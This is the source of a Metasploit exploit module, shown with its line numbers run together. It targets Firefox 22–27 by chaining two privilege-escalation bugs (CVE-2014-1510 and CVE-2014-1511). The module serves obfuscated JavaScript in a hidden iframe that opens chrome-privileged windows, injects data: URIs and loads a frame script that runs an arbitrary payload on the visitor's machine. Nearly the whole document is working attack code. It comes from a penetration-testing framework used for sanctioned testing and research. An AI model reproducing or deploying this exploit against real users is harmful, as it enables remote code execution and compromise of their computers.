Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/firefox_webidl_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/exploitation/jsobfu'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::BrowserExploitServer11include Msf::Exploit::Remote::BrowserAutopwn12include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1314autopwn_info({15:ua_name => HttpClients::FF,16:ua_minver => "22.0",17:ua_maxver => "27.0",18:javascript => true,19:rank => ExcellentRanking20})2122def initialize(info = {})23super(update_info(info,24'Name' => 'Firefox WebIDL Privileged Javascript Injection',25'Description' => %q{26This exploit gains remote code execution on Firefox 22-27 by abusing two27separate privilege escalation vulnerabilities in Firefox's Javascript28APIs.29},30'License' => MSF_LICENSE,31'Author' => [32'Marius Mlynski', # discovery and pwn2own exploit33'joev' # metasploit module34],35'DisclosureDate' => '2014-03-17',36'References' => [37['CVE', '2014-1510'], # open chrome:// url in iframe38['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow39],40'Targets' => [41[42'Universal (Javascript XPCOM Shell)', {43'Platform' => 'firefox',44'Arch' => ARCH_FIREFOX45}46],47[48'Native Payload', {49'Platform' => %w{ java linux osx solaris win },50'Arch' => ARCH_ALL51}52]53],54'DefaultTarget' => 0,55'BrowserRequirements' => {56:source => 'script',57:ua_name => HttpClients::FF,58:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }59}60))6162register_options([63OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])64])65end6667def on_request_exploit(cli, request, target_info)68send_response_html(cli, generate_html(target_info))69end7071def generate_html(target_info)72key = Rex::Text.rand_text_alpha(5 + rand(12))73frame = Rex::Text.rand_text_alpha(5 + rand(12))74r = Rex::Text.rand_text_alpha(5 + rand(12))75opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin76data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+77"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+78"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"7980js = js_obfuscate %Q|81var opts = #{JSON.unparse(opts)};82var key = opts['#{key}'];8384// Load the chrome-privileged browser XUL script into an iframe85var c = new mozRTCPeerConnection;86c.createOffer(function(){},function(){87window.open('chrome://browser/content/browser.xul', '#{frame}');88step1();89});9091// Inject a data: URI into an internal frame inside of the browser92// XUL script to pop open a new window with the chrome flag to prevent93// the new window from being wrapped with browser XUL;94function step1() {95var clear = setInterval(function(){9697// throws until frames[0].frames[2] is available (when chrome:// iframe loads)98frames[0].frames[2].location;99100// we base64 this to avoid the script tag screwing up things when obfuscated101frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');102clearInterval(clear);103setTimeout(step2, 100);104},10);105}106107// Step 2: load the chrome-level window up with a data URI, which108// gives us same-origin. Make sure to load an "<iframe mozBrowser>"109// into the frame, since that will respond to our messageManager110// (this is important later)111function step2() {112var clear = setInterval(function(){113top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+114'src="about:blank"></iframe></body></html>';115clearInterval(clear);116setTimeout(step3, 100);117}, 10);118}119120function step3() {121var clear = setInterval(function(){122if (!frames[0]) return; // will throw until the frame is accessible123top.vvv.messageManager.loadFrameScript('data:,'+key, false);124clearInterval(clear);125setTimeout(function(){top.vvv.close();}, 100);126}, 10);127}128|129130%Q|131<!doctype html>132<html>133<body>134<iframe id='#{frame}' name='#{frame}'135style='position:absolute;left:-9999999px;height:1px;width:1px;'>136</iframe>137<script>138#{js}139</script>140#{datastore['CONTENT']}141</body>142</html>143|144end145end146147148149